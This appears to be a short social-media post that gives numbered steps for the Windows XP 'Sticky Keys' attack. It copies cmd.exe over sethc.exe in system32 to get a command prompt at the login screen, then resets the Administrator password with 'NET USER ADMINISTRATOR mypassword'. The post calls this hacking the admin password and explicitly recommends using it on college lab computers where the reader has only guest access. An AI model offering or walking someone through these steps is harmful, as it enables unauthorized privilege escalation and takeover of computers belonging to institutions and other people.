Old school Easter eggs.
1.Go to C:/windows/
system32

2.Copy cmd.exe and paste it
on desktop

3.Rename cmd.exe to
sethc.exe

4.Copy the new sethc.exe to
system 32,when windows
asks for overwriting the
file,then click yes

5.Now press shift key 5 times
you will get cmd prompt close
that

6.Now Log out from your
guest account and at the
login screen,press shift key 5
times.

7.You will get commmand
prompt there Now type “ NET
USER ADMINISTRATOR
mypassword” where
“mypassword” can be any
password and Administrator
is name of admin
account ,then press enter.

8.You will see “ The Command
completed successfully” and
then exit the command
prompt.
Thats done…You have hacked
administrator password

Please backup your cmd.exe
and sethc.exe if you are
trying this on your own
computer.This works because
of sethc.exe process
Vulnerability in Windows XP.
This method of hacking XP
admin password can be used
in your college lab where you
have limited or guest access
to computers.